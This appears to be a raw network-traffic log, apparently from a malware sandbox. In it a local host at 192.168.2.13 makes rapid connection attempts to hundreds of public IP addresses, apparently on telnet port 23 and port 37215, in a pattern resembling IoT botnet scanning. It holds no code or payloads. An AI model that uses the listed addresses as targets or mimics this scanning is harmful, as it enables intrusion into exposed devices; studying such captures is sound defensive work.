                                                  Feb 4, 2025 18:08:31.989017963 CET234527990.140.243.193192.168.2.13
                                                  Feb 4, 2025 18:08:31.989017963 CET4527923192.168.2.13191.85.131.216
                                                  Feb 4, 2025 18:08:31.989022970 CET4527923192.168.2.139.221.65.136
                                                  Feb 4, 2025 18:08:31.989027977 CET234527998.98.46.103192.168.2.13
                                                  Feb 4, 2025 18:08:31.989042044 CET4527923192.168.2.13158.45.114.77
                                                  Feb 4, 2025 18:08:31.989047050 CET4527923192.168.2.1390.140.243.193
                                                  Feb 4, 2025 18:08:31.989062071 CET4527923192.168.2.1398.98.46.103
                                                  Feb 4, 2025 18:08:31.989142895 CET4655937215192.168.2.1341.35.140.168
                                                  Feb 4, 2025 18:08:31.989149094 CET4655937215192.168.2.13156.149.56.196
                                                  Feb 4, 2025 18:08:31.989154100 CET4655937215192.168.2.13156.46.13.137
                                                  Feb 4, 2025 18:08:31.989161015 CET4655937215192.168.2.1341.181.234.99
                                                  Feb 4, 2025 18:08:31.989166021 CET4655937215192.168.2.1341.250.234.67
                                                  Feb 4, 2025 18:08:31.989175081 CET4655937215192.168.2.1341.135.212.85
                                                  Feb 4, 2025 18:08:31.989175081 CET4655937215192.168.2.13197.47.47.107
                                                  Feb 4, 2025 18:08:31.989180088 CET4655937215192.168.2.13197.143.67.50
                                                  Feb 4, 2025 18:08:31.989187002 CET4655937215192.168.2.13197.219.73.167
                                                  Feb 4, 2025 18:08:31.989195108 CET4655937215192.168.2.1341.248.68.142
                                                  Feb 4, 2025 18:08:31.989208937 CET4655937215192.168.2.13156.120.63.61
                                                  Feb 4, 2025 18:08:31.989213943 CET4655937215192.168.2.13156.207.93.64
                                                  Feb 4, 2025 18:08:31.989217043 CET4655937215192.168.2.13156.253.140.118
                                                  Feb 4, 2025 18:08:31.989223957 CET4655937215192.168.2.1341.17.45.167
                                                  Feb 4, 2025 18:08:31.989234924 CET4655937215192.168.2.13197.156.112.97
                                                  Feb 4, 2025 18:08:31.989233017 CET4655937215192.168.2.13156.77.213.161
                                                  Feb 4, 2025 18:08:31.989248037 CET4655937215192.168.2.13197.98.7.249
                                                  Feb 4, 2025 18:08:31.989250898 CET4655937215192.168.2.13197.215.213.60
                                                  Feb 4, 2025 18:08:31.989257097 CET4655937215192.168.2.13197.79.173.40
                                                  Feb 4, 2025 18:08:31.989258051 CET4655937215192.168.2.13156.225.39.183
                                                  Feb 4, 2025 18:08:31.989259958 CET4655937215192.168.2.13156.128.96.20
                                                  Feb 4, 2025 18:08:31.989263058 CET2345279148.170.244.82192.168.2.13
                                                  Feb 4, 2025 18:08:31.989268064 CET4655937215192.168.2.13156.223.231.204
                                                  Feb 4, 2025 18:08:31.989275932 CET2345279205.183.174.105192.168.2.13
                                                  Feb 4, 2025 18:08:31.989276886 CET4655937215192.168.2.1341.141.58.80
                                                  Feb 4, 2025 18:08:31.989279985 CET4655937215192.168.2.1341.28.41.3
                                                  Feb 4, 2025 18:08:31.989295959 CET234527994.246.93.152192.168.2.13
                                                  Feb 4, 2025 18:08:31.989295959 CET4655937215192.168.2.13197.216.224.151
                                                  Feb 4, 2025 18:08:31.989296913 CET4527923192.168.2.13148.170.244.82
                                                  Feb 4, 2025 18:08:31.989301920 CET4527923192.168.2.13205.183.174.105
                                                  Feb 4, 2025 18:08:31.989306927 CET234527958.170.231.55192.168.2.13
                                                  Feb 4, 2025 18:08:31.989311934 CET4655937215192.168.2.1341.12.25.65
                                                  Feb 4, 2025 18:08:31.989316940 CET234527948.105.155.135192.168.2.13
                                                  Feb 4, 2025 18:08:31.989319086 CET4655937215192.168.2.1341.92.93.20
                                                  Feb 4, 2025 18:08:31.989325047 CET4655937215192.168.2.13197.209.251.42
                                                  Feb 4, 2025 18:08:31.989325047 CET4655937215192.168.2.1341.135.81.9
                                                  Feb 4, 2025 18:08:31.989326954 CET4655937215192.168.2.13156.187.195.113
                                                  Feb 4, 2025 18:08:31.989327908 CET234527976.80.18.205192.168.2.13
                                                  Feb 4, 2025 18:08:31.989331961 CET4527923192.168.2.1394.246.93.152
                                                  Feb 4, 2025 18:08:31.989334106 CET4655937215192.168.2.1341.219.46.107
                                                  Feb 4, 2025 18:08:31.989334106 CET4655937215192.168.2.1341.217.153.142
                                                  Feb 4, 2025 18:08:31.989335060 CET4655937215192.168.2.1341.116.59.141
                                                  Feb 4, 2025 18:08:31.989335060 CET4655937215192.168.2.13156.53.170.136
                                                  Feb 4, 2025 18:08:31.989336967 CET4655937215192.168.2.13197.52.193.232
                                                  Feb 4, 2025 18:08:31.989335060 CET4655937215192.168.2.13197.66.231.21
                                                  Feb 4, 2025 18:08:31.989340067 CET2345279157.20.114.91192.168.2.13
                                                  Feb 4, 2025 18:08:31.989337921 CET4655937215192.168.2.1341.172.145.93
                                                  Feb 4, 2025 18:08:31.989337921 CET4655937215192.168.2.1341.255.36.40
                                                  Feb 4, 2025 18:08:31.989348888 CET4655937215192.168.2.13156.166.148.75
                                                  Feb 4, 2025 18:08:31.989353895 CET234527951.103.135.183192.168.2.13
                                                  Feb 4, 2025 18:08:31.989355087 CET4655937215192.168.2.13197.161.146.30
                                                  Feb 4, 2025 18:08:31.989355087 CET4655937215192.168.2.1341.164.215.65
                                                  Feb 4, 2025 18:08:31.989357948 CET4655937215192.168.2.13156.19.30.146
                                                  Feb 4, 2025 18:08:31.989358902 CET4527923192.168.2.1358.170.231.55
                                                  Feb 4, 2025 18:08:31.989358902 CET4655937215192.168.2.1341.108.3.98
                                                  Feb 4, 2025 18:08:31.989362001 CET4655937215192.168.2.1341.45.43.229
                                                  Feb 4, 2025 18:08:31.989362001 CET4655937215192.168.2.13156.155.225.179
                                                  Feb 4, 2025 18:08:31.989363909 CET4655937215192.168.2.13156.96.101.66
                                                  Feb 4, 2025 18:08:31.989363909 CET4527923192.168.2.1348.105.155.135
                                                  Feb 4, 2025 18:08:31.989365101 CET234527989.73.19.159192.168.2.13
                                                  Feb 4, 2025 18:08:31.989367008 CET4527923192.168.2.13157.20.114.91
                                                  Feb 4, 2025 18:08:31.989372015 CET4655937215192.168.2.13197.24.119.10
                                                  Feb 4, 2025 18:08:31.989372015 CET4655937215192.168.2.13197.24.67.231
                                                  Feb 4, 2025 18:08:31.989371061 CET4527923192.168.2.1376.80.18.205
                                                  Feb 4, 2025 18:08:31.989377022 CET234527949.188.137.30192.168.2.13
                                                  Feb 4, 2025 18:08:31.989387035 CET2345279174.133.229.191192.168.2.13
                                                  Feb 4, 2025 18:08:31.989392042 CET4527923192.168.2.1351.103.135.183
                                                  Feb 4, 2025 18:08:31.989392042 CET4655937215192.168.2.1341.9.185.128
                                                  Feb 4, 2025 18:08:31.989397049 CET4655937215192.168.2.13156.23.243.140
                                                  Feb 4, 2025 18:08:31.989398003 CET2345279170.111.191.195192.168.2.13
                                                  Feb 4, 2025 18:08:31.989398956 CET4655937215192.168.2.13156.160.168.9
                                                  Feb 4, 2025 18:08:31.989404917 CET4655937215192.168.2.13156.94.244.162
                                                  Feb 4, 2025 18:08:31.989404917 CET4527923192.168.2.1349.188.137.30
                                                  Feb 4, 2025 18:08:31.989408016 CET4527923192.168.2.1389.73.19.159
                                                  Feb 4, 2025 18:08:31.989408016 CET4655937215192.168.2.13156.72.210.12
                                                  Feb 4, 2025 18:08:31.989408970 CET2345279112.128.138.79192.168.2.13
                                                  Feb 4, 2025 18:08:31.989408016 CET4655937215192.168.2.1341.159.136.9
                                                  Feb 4, 2025 18:08:31.989408016 CET4655937215192.168.2.13156.138.236.210
                                                  Feb 4, 2025 18:08:31.989417076 CET4527923192.168.2.13174.133.229.191
                                                  Feb 4, 2025 18:08:31.989429951 CET4527923192.168.2.13170.111.191.195
                                                  Feb 4, 2025 18:08:31.989432096 CET234527942.182.66.157192.168.2.13
                                                  Feb 4, 2025 18:08:31.989432096 CET4655937215192.168.2.1341.252.59.39
                                                  Feb 4, 2025 18:08:31.989434958 CET4655937215192.168.2.1341.6.9.189
                                                  Feb 4, 2025 18:08:31.989439011 CET4655937215192.168.2.13156.14.96.234
                                                  Feb 4, 2025 18:08:31.989444017 CET234527913.129.95.114192.168.2.13
                                                  Feb 4, 2025 18:08:31.989443064 CET4527923192.168.2.13112.128.138.79
                                                  Feb 4, 2025 18:08:31.989445925 CET4655937215192.168.2.1341.155.182.42
                                                  Feb 4, 2025 18:08:31.989454031 CET4655937215192.168.2.13197.42.210.250
                                                  Feb 4, 2025 18:08:31.989454985 CET2345279162.99.102.138192.168.2.13
                                                  Feb 4, 2025 18:08:31.989456892 CET4655937215192.168.2.13156.177.92.73
                                                  Feb 4, 2025 18:08:31.989464998 CET4527923192.168.2.1342.182.66.157
                                                  Feb 4, 2025 18:08:31.989465952 CET234527971.7.228.114192.168.2.13
                                                  Feb 4, 2025 18:08:31.989474058 CET4527923192.168.2.1313.129.95.114
                                                  Feb 4, 2025 18:08:31.989478111 CET2345279199.111.81.122192.168.2.13
                                                  Feb 4, 2025 18:08:31.989481926 CET4527923192.168.2.13162.99.102.138
                                                  Feb 4, 2025 18:08:31.989489079 CET234527981.220.116.192192.168.2.13
                                                  Feb 4, 2025 18:08:31.989496946 CET4527923192.168.2.1371.7.228.114
                                                  Feb 4, 2025 18:08:31.989499092 CET4655937215192.168.2.1341.39.146.22
                                                  Feb 4, 2025 18:08:31.989500046 CET2345279102.229.5.121192.168.2.13
                                                  Feb 4, 2025 18:08:31.989502907 CET4655937215192.168.2.13156.113.47.86
                                                  Feb 4, 2025 18:08:31.989510059 CET4655937215192.168.2.1341.240.121.192
                                                  Feb 4, 2025 18:08:31.989511013 CET2345279140.21.236.203192.168.2.13
                                                  Feb 4, 2025 18:08:31.989522934 CET2345279126.182.61.41192.168.2.13
                                                  Feb 4, 2025 18:08:31.989521980 CET4527923192.168.2.13199.111.81.122
                                                  Feb 4, 2025 18:08:31.989523888 CET4527923192.168.2.1381.220.116.192
                                                  Feb 4, 2025 18:08:31.989525080 CET4527923192.168.2.13102.229.5.121
                                                  Feb 4, 2025 18:08:31.989535093 CET2345279167.186.164.28192.168.2.13
                                                  Feb 4, 2025 18:08:31.989538908 CET4655937215192.168.2.13156.238.242.28
                                                  Feb 4, 2025 18:08:31.989538908 CET4655937215192.168.2.13156.169.93.73
                                                  Feb 4, 2025 18:08:31.989545107 CET234527991.244.166.70192.168.2.13
                                                  Feb 4, 2025 18:08:31.989546061 CET4527923192.168.2.13140.21.236.203
                                                  Feb 4, 2025 18:08:31.989548922 CET4655937215192.168.2.1341.46.169.136
                                                  Feb 4, 2025 18:08:31.989554882 CET4655937215192.168.2.1341.223.233.19
                                                  Feb 4, 2025 18:08:31.989557028 CET2345279210.228.93.237192.168.2.13
                                                  Feb 4, 2025 18:08:31.989562988 CET4655937215192.168.2.13197.200.65.181
                                                  Feb 4, 2025 18:08:31.989564896 CET4527923192.168.2.13126.182.61.41
                                                  Feb 4, 2025 18:08:31.989564896 CET4527923192.168.2.13167.186.164.28
                                                  Feb 4, 2025 18:08:31.989566088 CET2345279126.14.180.147192.168.2.13
                                                  Feb 4, 2025 18:08:31.989576101 CET23452795.90.64.229192.168.2.13
                                                  Feb 4, 2025 18:08:31.989578009 CET4655937215192.168.2.13156.59.216.205
                                                  Feb 4, 2025 18:08:31.989586115 CET2345279101.121.206.12192.168.2.13
                                                  Feb 4, 2025 18:08:31.989587069 CET4527923192.168.2.1391.244.166.70
                                                  Feb 4, 2025 18:08:31.989587069 CET4527923192.168.2.13210.228.93.237
                                                  Feb 4, 2025 18:08:31.989603996 CET4527923192.168.2.135.90.64.229
                                                  Feb 4, 2025 18:08:31.989607096 CET4527923192.168.2.13126.14.180.147
                                                  Feb 4, 2025 18:08:31.989609003 CET4655937215192.168.2.13156.218.172.236
                                                  Feb 4, 2025 18:08:31.989614964 CET4655937215192.168.2.1341.66.189.233
                                                  Feb 4, 2025 18:08:31.989614964 CET4527923192.168.2.13101.121.206.12
                                                  Feb 4, 2025 18:08:31.989624977 CET4655937215192.168.2.13156.1.215.37
                                                  Feb 4, 2025 18:08:31.989631891 CET4655937215192.168.2.13197.123.74.64
                                                  Feb 4, 2025 18:08:31.989638090 CET4655937215192.168.2.13197.111.218.83
                                                  Feb 4, 2025 18:08:31.989650011 CET4655937215192.168.2.13197.212.249.16
                                                  Feb 4, 2025 18:08:31.989650011 CET4655937215192.168.2.13156.104.33.39
                                                  Feb 4, 2025 18:08:31.989651918 CET4655937215192.168.2.13156.247.6.26
                                                  Feb 4, 2025 18:08:31.989653111 CET4655937215192.168.2.13156.89.91.184
                                                  Feb 4, 2025 18:08:31.989661932 CET4655937215192.168.2.1341.146.235.251
                                                  Feb 4, 2025 18:08:31.989665985 CET4655937215192.168.2.1341.231.150.76
                                                  Feb 4, 2025 18:08:31.989670992 CET4655937215192.168.2.1341.98.111.96
                                                  Feb 4, 2025 18:08:31.989674091 CET4655937215192.168.2.13197.171.13.1
                                                  Feb 4, 2025 18:08:31.989675045 CET4655937215192.168.2.13197.117.55.236
                                                  Feb 4, 2025 18:08:31.989686966 CET4655937215192.168.2.13156.31.178.71
                                                  Feb 4, 2025 18:08:31.989690065 CET4655937215192.168.2.1341.252.34.39
                                                  Feb 4, 2025 18:08:31.989690065 CET4655937215192.168.2.1341.37.38.159
                                                  Feb 4, 2025 18:08:31.989706993 CET4655937215192.168.2.13156.60.138.47
                                                  Feb 4, 2025 18:08:31.989706993 CET4655937215192.168.2.13197.96.240.213
                                                  Feb 4, 2025 18:08:31.989712000 CET4655937215192.168.2.13156.105.38.106
                                                  Feb 4, 2025 18:08:31.989723921 CET4655937215192.168.2.1341.193.79.205
                                                  Feb 4, 2025 18:08:31.989727974 CET4655937215192.168.2.13197.255.99.175
                                                  Feb 4, 2025 18:08:31.989734888 CET4655937215192.168.2.1341.247.248.227
                                                  Feb 4, 2025 18:08:31.989738941 CET4655937215192.168.2.1341.89.105.137
                                                  Feb 4, 2025 18:08:31.989749908 CET4655937215192.168.2.13197.105.172.182
                                                  Feb 4, 2025 18:08:31.989751101 CET4655937215192.168.2.13156.137.178.86
                                                  Feb 4, 2025 18:08:31.989751101 CET4655937215192.168.2.13197.23.202.105
                                                  Feb 4, 2025 18:08:31.989753008 CET4655937215192.168.2.1341.37.186.125
                                                  Feb 4, 2025 18:08:31.989753008 CET4655937215192.168.2.13197.117.31.221
                                                  Feb 4, 2025 18:08:31.989753008 CET4655937215192.168.2.1341.141.21.187
                                                  Feb 4, 2025 18:08:31.989765882 CET4655937215192.168.2.13156.78.201.140
                                                  Feb 4, 2025 18:08:31.989765882 CET4655937215192.168.2.13156.31.153.175
                                                  Feb 4, 2025 18:08:31.989769936 CET4655937215192.168.2.13197.44.172.38
                                                  Feb 4, 2025 18:08:31.989779949 CET4655937215192.168.2.1341.175.209.111
                                                  Feb 4, 2025 18:08:31.989784002 CET4655937215192.168.2.13156.217.253.170
                                                  Feb 4, 2025 18:08:31.989790916 CET4655937215192.168.2.13156.81.245.209
                                                  Feb 4, 2025 18:08:31.989792109 CET4655937215192.168.2.1341.92.51.122
                                                  Feb 4, 2025 18:08:31.989794016 CET4655937215192.168.2.13156.112.250.191
                                                  Feb 4, 2025 18:08:31.989794016 CET4655937215192.168.2.13197.163.166.46
                                                  Feb 4, 2025 18:08:31.989806890 CET4655937215192.168.2.13156.87.76.112
                                                  Feb 4, 2025 18:08:31.989806890 CET4655937215192.168.2.13197.176.114.203
                                                  Feb 4, 2025 18:08:31.989809990 CET4655937215192.168.2.1341.103.158.247
                                                  Feb 4, 2025 18:08:31.989811897 CET4655937215192.168.2.13156.211.220.222
                                                  Feb 4, 2025 18:08:31.989819050 CET4655937215192.168.2.13156.237.6.243
                                                  Feb 4, 2025 18:08:31.989825010 CET4655937215192.168.2.1341.106.131.211
                                                  Feb 4, 2025 18:08:31.989828110 CET4655937215192.168.2.1341.173.187.40
                                                  Feb 4, 2025 18:08:31.989831924 CET4655937215192.168.2.13197.90.207.242
                                                  Feb 4, 2025 18:08:31.989831924 CET4655937215192.168.2.1341.245.122.73
                                                  Feb 4, 2025 18:08:31.989851952 CET4655937215192.168.2.13197.127.127.41
                                                  Feb 4, 2025 18:08:31.989854097 CET4655937215192.168.2.1341.146.176.91
                                                  Feb 4, 2025 18:08:31.989854097 CET4655937215192.168.2.1341.235.63.1
                                                  Feb 4, 2025 18:08:31.989854097 CET4655937215192.168.2.13156.158.132.227
                                                  Feb 4, 2025 18:08:31.989856958 CET4655937215192.168.2.13156.194.200.95
                                                  Feb 4, 2025 18:08:31.989860058 CET4655937215192.168.2.1341.230.41.166
                                                  Feb 4, 2025 18:08:31.989861012 CET2345279148.132.231.198192.168.2.13
                                                  Feb 4, 2025 18:08:31.989872932 CET234527972.152.114.84192.168.2.13
                                                  Feb 4, 2025 18:08:31.989876032 CET4655937215192.168.2.1341.120.154.196
                                                  Feb 4, 2025 18:08:31.989876032 CET4655937215192.168.2.13156.254.134.61
                                                  Feb 4, 2025 18:08:31.989876986 CET4655937215192.168.2.13156.118.201.83
                                                  Feb 4, 2025 18:08:31.989876032 CET4655937215192.168.2.13197.205.125.71
                                                  Feb 4, 2025 18:08:31.989885092 CET2345279135.7.111.12192.168.2.13
                                                  Feb 4, 2025 18:08:31.989886999 CET4655937215192.168.2.1341.19.7.45
                                                  Feb 4, 2025 18:08:31.989891052 CET4655937215192.168.2.13197.215.119.169
                                                  Feb 4, 2025 18:08:31.989897966 CET2345279187.93.70.162192.168.2.13
                                                  Feb 4, 2025 18:08:31.989900112 CET4527923192.168.2.13148.132.231.198
                                                  Feb 4, 2025 18:08:31.989902020 CET4655937215192.168.2.13156.196.5.83
                                                  Feb 4, 2025 18:08:31.989908934 CET4527923192.168.2.13135.7.111.12
                                                  Feb 4, 2025 18:08:31.989909887 CET2345279142.3.50.161192.168.2.13
                                                  Feb 4, 2025 18:08:31.989912033 CET4527923192.168.2.1372.152.114.84
                                                  Feb 4, 2025 18:08:31.989917040 CET4655937215192.168.2.1341.90.87.53
                                                  Feb 4, 2025 18:08:31.989921093 CET4655937215192.168.2.13156.228.112.53
                                                  Feb 4, 2025 18:08:31.989923000 CET2345279158.110.252.230192.168.2.13
                                                  Feb 4, 2025 18:08:31.989933968 CET4655937215192.168.2.1341.214.80.48
                                                  Feb 4, 2025 18:08:31.989934921 CET2345279191.53.32.174192.168.2.13
                                                  Feb 4, 2025 18:08:31.989937067 CET4527923192.168.2.13187.93.70.162
                                                  Feb 4, 2025 18:08:31.989947081 CET4527923192.168.2.13142.3.50.161
                                                  Feb 4, 2025 18:08:31.989952087 CET4655937215192.168.2.13197.111.199.142
                                                  Feb 4, 2025 18:08:31.989964008 CET234527938.226.189.50192.168.2.13
                                                  Feb 4, 2025 18:08:31.989965916 CET4527923192.168.2.13158.110.252.230
                                                  Feb 4, 2025 18:08:31.989965916 CET4527923192.168.2.13191.53.32.174
                                                  Feb 4, 2025 18:08:31.989967108 CET4655937215192.168.2.1341.151.123.11
                                                  Feb 4, 2025 18:08:31.989974976 CET2345279203.230.131.157192.168.2.13
                                                  Feb 4, 2025 18:08:31.989980936 CET4655937215192.168.2.13197.49.229.229
                                                  Feb 4, 2025 18:08:31.989984989 CET234527976.128.232.195192.168.2.13
                                                  Feb 4, 2025 18:08:31.989985943 CET4655937215192.168.2.13156.219.191.246
                                                  Feb 4, 2025 18:08:31.989985943 CET4655937215192.168.2.1341.250.12.10
                                                  Feb 4, 2025 18:08:31.989990950 CET4655937215192.168.2.1341.69.59.79
                                                  Feb 4, 2025 18:08:31.989993095 CET4655937215192.168.2.13197.231.5.20
                                                  Feb 4, 2025 18:08:31.989995956 CET2345279210.213.10.221192.168.2.13
                                                  Feb 4, 2025 18:08:31.989998102 CET4527923192.168.2.1338.226.189.50
                                                  Feb 4, 2025 18:08:31.990008116 CET4527923192.168.2.13203.230.131.157
                                                  Feb 4, 2025 18:08:31.990012884 CET4655937215192.168.2.1341.41.216.41
                                                  Feb 4, 2025 18:08:31.990014076 CET4527923192.168.2.1376.128.232.195
                                                  Feb 4, 2025 18:08:31.990016937 CET234527963.65.83.143192.168.2.13
                                                  Feb 4, 2025 18:08:31.990021944 CET4527923192.168.2.13210.213.10.221
                                                  Feb 4, 2025 18:08:31.990021944 CET4655937215192.168.2.13197.26.57.76
                                                  Feb 4, 2025 18:08:31.990027905 CET2345279126.180.147.229192.168.2.13
                                                  Feb 4, 2025 18:08:31.990029097 CET4655937215192.168.2.1341.255.221.127
                                                  Feb 4, 2025 18:08:31.990034103 CET4655937215192.168.2.1341.247.68.17
                                                  Feb 4, 2025 18:08:31.990039110 CET4655937215192.168.2.13197.112.188.30
                                                  Feb 4, 2025 18:08:31.990039110 CET2345279188.1.143.179192.168.2.13
                                                  Feb 4, 2025 18:08:31.990047932 CET4527923192.168.2.1363.65.83.143
                                                  Feb 4, 2025 18:08:31.990051031 CET2345279116.174.64.17192.168.2.13
                                                  Feb 4, 2025 18:08:31.990052938 CET4655937215192.168.2.13197.89.97.41
                                                  Feb 4, 2025 18:08:31.990056038 CET4527923192.168.2.13126.180.147.229
                                                  Feb 4, 2025 18:08:31.990061998 CET2345279100.181.70.217192.168.2.13
                                                  Feb 4, 2025 18:08:31.990072966 CET2345279123.147.0.244192.168.2.13
                                                  Feb 4, 2025 18:08:31.990072966 CET4655937215192.168.2.13197.99.201.137
                                                  Feb 4, 2025 18:08:31.990075111 CET4655937215192.168.2.1341.240.165.230
                                                  Feb 4, 2025 18:08:31.990076065 CET4655937215192.168.2.13156.99.71.111
                                                  Feb 4, 2025 18:08:31.990082026 CET4527923192.168.2.13116.174.64.17
                                                  Feb 4, 2025 18:08:31.990083933 CET234527954.121.115.207192.168.2.13
                                                  Feb 4, 2025 18:08:31.990087032 CET4655937215192.168.2.13156.148.47.241
                                                  Feb 4, 2025 18:08:31.990087032 CET4655937215192.168.2.13197.162.81.3
                                                  Feb 4, 2025 18:08:31.990087986 CET4655937215192.168.2.1341.134.155.155
                                                  Feb 4, 2025 18:08:31.990087986 CET4527923192.168.2.13100.181.70.217
                                                  Feb 4, 2025 18:08:31.990087986 CET4527923192.168.2.13188.1.143.179
                                                  Feb 4, 2025 18:08:31.990087986 CET4655937215192.168.2.1341.148.68.185
                                                  Feb 4, 2025 18:08:31.990087986 CET4655937215192.168.2.1341.28.69.247
                                                  Feb 4, 2025 18:08:31.990089893 CET4655937215192.168.2.13156.42.101.148
                                                  Feb 4, 2025 18:08:31.990097046 CET234527948.168.157.168192.168.2.13
                                                  Feb 4, 2025 18:08:31.990106106 CET4655937215192.168.2.13197.252.78.129
                                                  Feb 4, 2025 18:08:31.990106106 CET4527923192.168.2.13123.147.0.244
                                                  Feb 4, 2025 18:08:31.990108967 CET2345279104.124.240.4192.168.2.13
                                                  Feb 4, 2025 18:08:31.990111113 CET4655937215192.168.2.13197.72.46.180
                                                  Feb 4, 2025 18:08:31.990117073 CET4655937215192.168.2.13197.152.22.144
                                                  Feb 4, 2025 18:08:31.990119934 CET2345279172.73.102.6192.168.2.13
                                                  Feb 4, 2025 18:08:31.990120888 CET4655937215192.168.2.13156.220.63.107
                                                  Feb 4, 2025 18:08:31.990120888 CET4527923192.168.2.1354.121.115.207
                                                  Feb 4, 2025 18:08:31.990122080 CET4527923192.168.2.1348.168.157.168
                                                  Feb 4, 2025 18:08:31.990125895 CET4655937215192.168.2.1341.240.75.70
                                                  Feb 4, 2025 18:08:31.990130901 CET234527986.223.159.79192.168.2.13
                                                  Feb 4, 2025 18:08:31.990134954 CET4655937215192.168.2.1341.86.216.14
                                                  Feb 4, 2025 18:08:31.990138054 CET4655937215192.168.2.13197.217.248.151
                                                  Feb 4, 2025 18:08:31.990143061 CET4655937215192.168.2.1341.75.165.215
                                                  Feb 4, 2025 18:08:31.990143061 CET234527963.54.215.250192.168.2.13
                                                  Feb 4, 2025 18:08:31.990148067 CET4527923192.168.2.13104.124.240.4
                                                  Feb 4, 2025 18:08:31.990148067 CET4655937215192.168.2.13197.137.1.100
                                                  Feb 4, 2025 18:08:31.990148067 CET4655937215192.168.2.1341.251.4.151
                                                  Feb 4, 2025 18:08:31.990148067 CET4655937215192.168.2.13156.17.142.125
                                                  Feb 4, 2025 18:08:31.990154028 CET2345279221.106.172.61192.168.2.13
                                                  Feb 4, 2025 18:08:31.990159035 CET4527923192.168.2.1386.223.159.79
                                                  Feb 4, 2025 18:08:31.990160942 CET4655937215192.168.2.1341.142.57.9
                                                  Feb 4, 2025 18:08:31.990161896 CET4527923192.168.2.13172.73.102.6
                                                  Feb 4, 2025 18:08:31.990174055 CET4527923192.168.2.1363.54.215.250
                                                  Feb 4, 2025 18:08:31.990174055 CET2345279211.49.222.53192.168.2.13
                                                  Feb 4, 2025 18:08:31.990180969 CET4655937215192.168.2.13197.83.30.245
                                                  Feb 4, 2025 18:08:31.990190983 CET4655937215192.168.2.13197.237.186.77
                                                  Feb 4, 2025 18:08:31.990190983 CET4655937215192.168.2.13197.207.128.236
                                                  Feb 4, 2025 18:08:31.990192890 CET2345279122.202.172.19192.168.2.13
                                                  Feb 4, 2025 18:08:31.990192890 CET4655937215192.168.2.1341.50.188.196
                                                  Feb 4, 2025 18:08:31.990190983 CET4655937215192.168.2.1341.224.2.174
                                                  Feb 4, 2025 18:08:31.990195036 CET4655937215192.168.2.13156.149.174.180
                                                  Feb 4, 2025 18:08:31.990195036 CET4655937215192.168.2.13156.200.202.192
                                                  Feb 4, 2025 18:08:31.990195990 CET4527923192.168.2.13221.106.172.61
                                                  Feb 4, 2025 18:08:31.990195990 CET4655937215192.168.2.1341.154.24.89
                                                  Feb 4, 2025 18:08:31.990196943 CET4655937215192.168.2.13156.215.168.242
                                                  Feb 4, 2025 18:08:31.990197897 CET4527923192.168.2.13211.49.222.53
                                                  Feb 4, 2025 18:08:31.990206957 CET2345279223.29.214.125192.168.2.13
                                                  Feb 4, 2025 18:08:31.990214109 CET4655937215192.168.2.13156.225.29.240
                                                  Feb 4, 2025 18:08:31.990214109 CET4655937215192.168.2.1341.54.218.130
                                                  Feb 4, 2025 18:08:31.990214109 CET4655937215192.168.2.13197.36.29.104
                                                  Feb 4, 2025 18:08:31.990216970 CET2345279167.87.34.34192.168.2.13
                                                  Feb 4, 2025 18:08:31.990217924 CET4655937215192.168.2.13156.70.130.233
                                                  Feb 4, 2025 18:08:31.990226984 CET4527923192.168.2.13122.202.172.19
                                                  Feb 4, 2025 18:08:31.990236998 CET4655937215192.168.2.13197.4.165.12
                                                  Feb 4, 2025 18:08:31.990238905 CET4527923192.168.2.13223.29.214.125
                                                  Feb 4, 2025 18:08:31.990238905 CET4655937215192.168.2.13197.225.233.165
                                                  Feb 4, 2025 18:08:31.990242958 CET4655937215192.168.2.1341.5.247.55
                                                  Feb 4, 2025 18:08:31.990252972 CET4527923192.168.2.13167.87.34.34
                                                  Feb 4, 2025 18:08:31.990262985 CET4655937215192.168.2.1341.35.199.93
                                                  Feb 4, 2025 18:08:31.990266085 CET4655937215192.168.2.1341.107.213.96
                                                  Feb 4, 2025 18:08:31.990272999 CET4655937215192.168.2.13197.53.28.251
                                                  Feb 4, 2025 18:08:31.990276098 CET4655937215192.168.2.13197.12.186.211
                                                  Feb 4, 2025 18:08:31.990288973 CET4655937215192.168.2.13156.145.21.184
                                                  Feb 4, 2025 18:08:31.990291119 CET4655937215192.168.2.13197.137.68.107
                                                  Feb 4, 2025 18:08:31.990292072 CET4655937215192.168.2.13156.188.102.116
                                                  Feb 4, 2025 18:08:31.990293026 CET4655937215192.168.2.13156.11.242.60
                                                  Feb 4, 2025 18:08:31.990295887 CET4655937215192.168.2.13156.189.237.231
                                                  Feb 4, 2025 18:08:31.990299940 CET4655937215192.168.2.1341.173.127.27
                                                  Feb 4, 2025 18:08:31.990304947 CET4655937215192.168.2.13156.133.124.193
                                                  Feb 4, 2025 18:08:31.990304947 CET4655937215192.168.2.1341.148.28.104
                                                  Feb 4, 2025 18:08:31.990317106 CET4655937215192.168.2.13156.127.2.248
                                                  Feb 4, 2025 18:08:31.990325928 CET4655937215192.168.2.13156.42.254.74
                                                  Feb 4, 2025 18:08:31.990326881 CET4655937215192.168.2.1341.128.219.26
                                                  Feb 4, 2025 18:08:31.990336895 CET4655937215192.168.2.1341.56.109.250
                                                  Feb 4, 2025 18:08:31.990340948 CET4655937215192.168.2.1341.17.196.62
                                                  Feb 4, 2025 18:08:31.990348101 CET4655937215192.168.2.13197.34.147.34
                                                  Feb 4, 2025 18:08:31.990358114 CET4655937215192.168.2.13197.24.247.178
                                                  Feb 4, 2025 18:08:31.990358114 CET4655937215192.168.2.1341.128.83.104
                                                  Feb 4, 2025 18:08:31.990358114 CET4655937215192.168.2.1341.76.177.66
                                                  Feb 4, 2025 18:08:31.990358114 CET4655937215192.168.2.13156.24.119.38
                                                  Feb 4, 2025 18:08:31.990370035 CET4655937215192.168.2.1341.54.62.131
                                                  Feb 4, 2025 18:08:31.990372896 CET4655937215192.168.2.1341.154.96.183
                                                  Feb 4, 2025 18:08:31.990381956 CET4655937215192.168.2.13197.131.196.35
                                                  Feb 4, 2025 18:08:31.990391970 CET4655937215192.168.2.13156.150.250.151
                                                  Feb 4, 2025 18:08:31.990396023 CET4655937215192.168.2.1341.158.166.207
                                                  Feb 4, 2025 18:08:31.990402937 CET4655937215192.168.2.13156.221.121.8
                                                  Feb 4, 2025 18:08:31.990402937 CET4655937215192.168.2.1341.31.203.218
                                                  Feb 4, 2025 18:08:31.990407944 CET4655937215192.168.2.13197.154.96.248
                                                  Feb 4, 2025 18:08:31.990412951 CET4655937215192.168.2.13156.11.199.218
                                                  Feb 4, 2025 18:08:31.990417957 CET4655937215192.168.2.13156.148.37.175
                                                  Feb 4, 2025 18:08:31.990422010 CET4655937215192.168.2.13197.244.96.233
